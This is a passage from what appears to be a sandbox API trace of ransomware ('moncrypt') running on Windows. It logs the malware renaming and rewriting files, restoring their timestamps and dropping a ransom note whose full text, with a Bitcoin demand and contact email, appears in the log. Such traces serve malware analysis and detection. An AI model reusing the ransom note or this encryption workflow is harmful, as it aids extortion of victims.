lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0049.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", cchWideChar=77, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpUsedDefaultChar=0x0) returned 77 [0049.981] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0049.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpUsedDefaultChar=0x0) returned 4 [0049.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.987] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0049.988] CloseHandle (hObject=0x190) returned 1 [0049.988] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\я")) returned 1 [0049.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 0x54e280 [0049.989] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0049.989] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0049.989] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", dwFileAttributes=0x20) returned 1 [0049.990] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0049.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.moncrypt")) returned 1 [0049.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.990] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.990] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x22d6 [0049.990] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.990] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x22d6, lpOverlapped=0x0) returned 1 [0049.992] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.992] GlobalLock (hMem=0x440004) returned 0x559b88 [0049.992] GlobalHandle (pMem=0x559b88) returned 0x440004 [0049.992] GlobalUnlock (hMem=0x440004) returned 0 [0049.992] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.993] GlobalLock (hMem=0x440004) returned 0x559b88 [0049.993] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.993] GlobalUnlock (hMem=0x44000c) returned 0 [0049.993] GlobalHandle (pMem=0x559b88) returned 0x440004 [0049.993] GlobalUnlock (hMem=0x440004) returned 0 [0049.993] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.993] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.993] GlobalUnlock (hMem=0x440004) returned 0 [0049.993] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.993] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.993] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.993] GlobalUnlock (hMem=0x440004) returned 0 [0050.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.004] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0050.004] CloseHandle (hObject=0x190) returned 1 [0050.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0050.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.005] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.005] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.005] GlobalUnlock (hMem=0x440004) returned 0 [0050.005] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.005] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.005] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.005] GlobalUnlock (hMem=0x440004) returned 0 [0050.005] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.005] GlobalUnlock (hMem=0x44000c) returned 0 [0050.005] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69d48, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.005] GetLastError () returned 0x2 [0050.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.008] WriteFile (in: hFile=0x190, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0050.009] CloseHandle (hObject=0x190) returned 1 [0050.009] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0050.009] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.009] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.009] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.009] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.009] GlobalUnlock (hMem=0x44000c) returned 0 [0050.009] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.009] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.009] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.009] GlobalUnlock (hMem=0x44000c) returned 0 [0050.009] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.009] GlobalUnlock (hMem=0x440004) returned 0 [0050.009] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.010] CharLowerBuffW (in: lpsz="PHONE.XML", cchLength=0x9 | out: lpsz="phone.xml") returned 0x9 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", cchWideChar=77, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpUsedDefaultChar=0x0) returned 77 [0050.010] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0050.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpUsedDefaultChar=0x0) returned 4 [0050.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 0x54e280 [0050.010] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0050.010] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0050.010] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", dwFileAttributes=0x20) returned 1 [0050.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0050.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.moncrypt")) returned 1 [0050.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.012] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.012] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x734 [0050.012] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.012] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x734, lpOverlapped=0x0) returned 1 [0050.014] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.014] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.014] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.014] GlobalUnlock (hMem=0x440004) returned 0 [0050.014] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.014] GlobalUnlock (hMem=0x44000c) returned 0 [0050.014] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.014] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.014] GlobalUnlock (hMem=0x44000c) returned 0 [0050.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.025] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0050.025] CloseHandle (hObject=0x190) returned 1 [0050.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0050.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.026] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.026] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.026] GlobalUnlock (hMem=0x44000c) returned 0 [0050.026] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.026] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.026] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.026] GlobalUnlock (hMem=0x44000c) returned 0 [0050.026] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.026] GlobalUnlock (hMem=0x440004) returned 0 [0050.026] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0d57a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f0d57a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0d57a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0050.026] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0050.026] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0050.027] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.027] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.027] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.027] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.027] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.027] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.027] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.027] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0050.027] CloseHandle (hObject=0x190) returned 1 [0050.027] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0050.027] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.027] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.027] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.028] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.028] GlobalUnlock (hMem=0x440004) returned 0 [0050.028] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.028] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.028] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.028] GlobalUnlock (hMem=0x440004) returned 0 [0050.028] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.028] GlobalUnlock (hMem=0x44000c) returned 0 [0050.028] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.028] CharLowerBuffW (in: lpsz="STOCKS.DAT", cchLength=0xa | out: lpsz="stocks.dat") returned 0xa [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, 